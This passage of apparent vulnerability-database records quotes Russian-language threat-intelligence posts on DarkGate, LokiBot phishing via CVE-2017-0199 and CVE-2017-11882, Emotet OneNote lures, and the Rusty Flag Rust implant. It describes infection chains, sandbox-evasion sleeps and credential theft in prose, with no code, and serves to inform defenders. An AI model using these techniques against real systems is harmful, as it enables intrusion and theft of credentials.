LokiBot.\n\n\u0412 \u0438\u044e\u043d\u0435 2023\u00a0\u0433\u043e\u0434\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0432 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u043e\u0432\u0430\u043b \u0441\u0432\u043e\u044e \u043d\u043e\u0432\u0443\u044e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 - DarkGate, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u0442\u0440\u0430\u0442\u0438\u043b \u0431\u043e\u043b\u0435\u0435 20\u00a0000\u00a0\u0447\u0430\u0441\u043e\u0432, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 2017 \u0433\u043e\u0434\u0430.\n\n\u041d\u043e\u0432\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0430\u043a\u0438\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435, \u043a\u0430\u043a: \u0441\u043a\u0440\u044b\u0442\u043e\u0435 VNC-\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u043e\u0431\u0445\u043e\u0434 \u0417\u0430\u0449\u0438\u0442\u043d\u0438\u043a\u0430 Windows, \u043a\u0440\u0430\u0436\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 Discord, \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043a\u0441\u0438, \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440.\n\n\u041f\u043e\u043b\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 4 \u044d\u0442\u0430\u043f\u043e\u0432: VBS-\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u0441\u043a\u0440\u0438\u043f\u0442 AutoIT V3, \u0448\u0435\u043b\u043b-\u043a\u043e\u0434 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c DarkGate.\n\n\u0417\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a DarkGate \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 17 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 (Delphi TStringList), \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0445  \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430, \u0432 \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c.\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0442\u0430\u043a\u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a. \u041a\u0430\u0436\u0434\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0448\u0438\u0444\u0440\u0443\u0435\u0442\u0441\u044f \u0441 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0438 Base64 (\u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043d\u0430\u0431\u043e\u0440\u043e\u043c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432).\n\n\u041d\u043e\u0432\u0430\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0441 LokiBot (\u043e\u0431\u043d\u0430\u0440\u0443\u0434\u0435\u043d\u043d\u044b\u0439 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0432 2016 \u0433\u043e\u0434\u0443 \u0441\u0442\u0438\u043b\u043b\u0435\u0440) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u043c, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0430 \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u0435\u0441\u044f \u043d\u0430 \u043c\u043e\u0440\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u0437\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043a\u0430\u0445.\n\n\u0416\u0435\u0440\u0442\u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u044f\u043a\u043e\u0431\u044b \u043e\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u0430 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u043f\u043b\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u0440\u0442\u043e\u0432\u044b\u0435 \u0441\u0431\u043e\u0440\u044b. \u0412 \u043f\u0438\u0441\u044c\u043c\u043e \u0431\u044b\u043b \u0432\u043b\u043e\u0436\u0435\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Excel, \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u043c\u0430\u043a\u0440\u043e\u0441\u0430 - \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2017-0199.\n\n\u041f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 RTF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0434\u0440\u0443\u0433\u0443\u044e CVE-2017-11882, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0443\u044e LokiBot, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445, \u0441\u0436\u0430\u0442\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 APLib.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u043e\u043b\u043d\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u0438\u0432\u0448\u0438\u0445\u0441\u044f \u043f\u043e\u0441\u043b\u0435 2021 \u0433\u043e\u0434\u0430 \u0430\u0442\u0430\u043a \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Emotet \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0438\u0441\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 OneNote, \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 \u043a\u043d\u043e\u043f\u043a\u043e\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u043a\u043b\u0438\u043a \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e VBS-\u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0430\u0439\u0442\u043e\u0432 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 (DLL-\u0444\u0430\u0439\u043b).\n\n\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0438\u043c\u043f\u043e\u0440\u0442 \u043f\u043e \u0445\u0435\u0448\u0443. \u0414\u0432\u0435 \u0438\u0437 \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u2014 LdrLoadDll \u0438 LdrGetProcedureAddress.\n\n\u041d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u0442\u043e\u0433\u043e\u0432\u0430\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 - Emotet, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0432\u043e\u043b\u043d\u0430\u0445 \u0430\u0442\u0430\u043a.\n\n\u0411\u043e\u043b\u0435\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0432\u0441\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043e\u0432 \u0441 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2023-08-07T17:27:46.000000Z"}, {"uuid": "3100f45b-fd2e-4965-b277-2b72d23b1ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/true_secator/4856", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Deep Instinct \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438\u00a0\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u0430\u0437\u0435\u0440\u0431\u0430\u0439\u0434\u0436\u0430\u043d\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u043e\u043c \u0432 \u041d\u0430\u0433\u043e\u0440\u043d\u043e\u043c \u041a\u0430\u0440\u0430\u0431\u0430\u0445\u0435, \u0441 \u0446\u0435\u043b\u044c\u044e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043d\u043e\u0432\u044b\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Rust.\n\n\u041a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 Rusty Flag \u0438 \u0438\u043c\u0435\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043f\u0440\u0438\u043c\u0430\u043d\u043e\u043a \u0431\u044b\u043b \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 Storm-0978.\n\n\u041d\u043e, \u043a\u0430\u043a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u044d\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0430\u0442\u0430\u043a\u0443 \u043f\u043e\u0434\u00a0\u0447\u0443\u0436\u0438\u043c\u00a0\u0444\u043b\u0430\u0433\u043e\u043c.\n\n\u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e Deep Instinct \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b LNK \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c 1.KARABAKH.jpg.lnk \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0435 \u0441 \u0432\u043e\u0435\u043d\u043d\u044b\u043c \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u043c \u0432\u00a0\u041d\u0430\u0433\u043e\u0440\u043d\u043e\u043c \u041a\u0430\u0440\u0430\u0431\u0430\u0445\u0435.\n\nLNK \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a MSI, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0439 \u0432 DropBox, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u043b\u043e\u0436\u0435\u043d \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u043d\u0430 Rust, XML-\u0444\u0430\u0439\u043b \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0444\u0430\u0439\u043b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438.\n\n\u0417\u0430\u0442\u0435\u043c \u043d\u0430\u0448\u0435\u043b\u0441\u044f \u0435\u0449\u0435 \u043e\u0434\u0438\u043d MSI-\u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0442\u043e\u0433\u043e \u0436\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430\u0442\u0430 Rust, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u044b\u043b\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435.\n\nURL-\u0430\u0434\u0440\u0435\u0441 DropBox \u0431\u044b\u043b \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0441\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u044f URL-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 (hxxps://t[.]]ly/8CYQW).\n\n\u0423\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u0439\u0442\u0438 \u043d\u0430 \u0444\u0430\u0439\u043b Overview_of_UWCs_UkraineInNATO_campaign.docx, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u044d\u0442\u043e\u0442 URL.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u044d\u0442\u043e \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u0438 \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435, \u0431\u044b\u043b\u0438 \u0441 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439\u00a0Storm-0978, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0439 CVE-2023-36884, \u043e \u0447\u0435\u043c \u0434\u0430\u0436\u0435 \u0438\u043c\u0435\u043b\u0441\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043d\u0430 VirusTotal.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0441\u0435 \u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u0444\u0430\u0439\u043b.\u00a0\u041f\u0440\u0438 \u044d\u0442\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 afchunk.rtf \u0437\u0430\u043c\u0435\u043d\u0435\u043d, \u0430 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430\u044f CVE \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c.\n\n\u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 MSI \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c CVE-2017-11882. \u0412\u0441\u0435 \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u0430\u043a \u043f\u0440\u0435\u0434\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0441 Storm-0978.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0430 \u0441\u043e\u0431\u043e\u0439 \u043e\u0444\u0438\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 MSI \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b \u0444\u0430\u0439\u043b-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0443 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 PDF. \u041a\u0430\u0436\u0434\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u0438\u043c\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u0425\u043e\u0442\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438\u0441\u044c, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 \u043e\u0431\u043e\u0438\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u0445 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u043e\u0441\u044c \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e. \u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u043e\u043d \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043b \u0432 \u0440\u0435\u0436\u0438\u043c \u0441\u043d\u0430 \u043d\u0430 12 \u043c\u0438\u043d\u0443\u0442.\u00a0\u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435.\n\n\u0417\u0430\u0442\u0435\u043c \u043d\u0430\u0447\u0438\u043d\u0430\u043b \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430\u0442\u0435\u043c 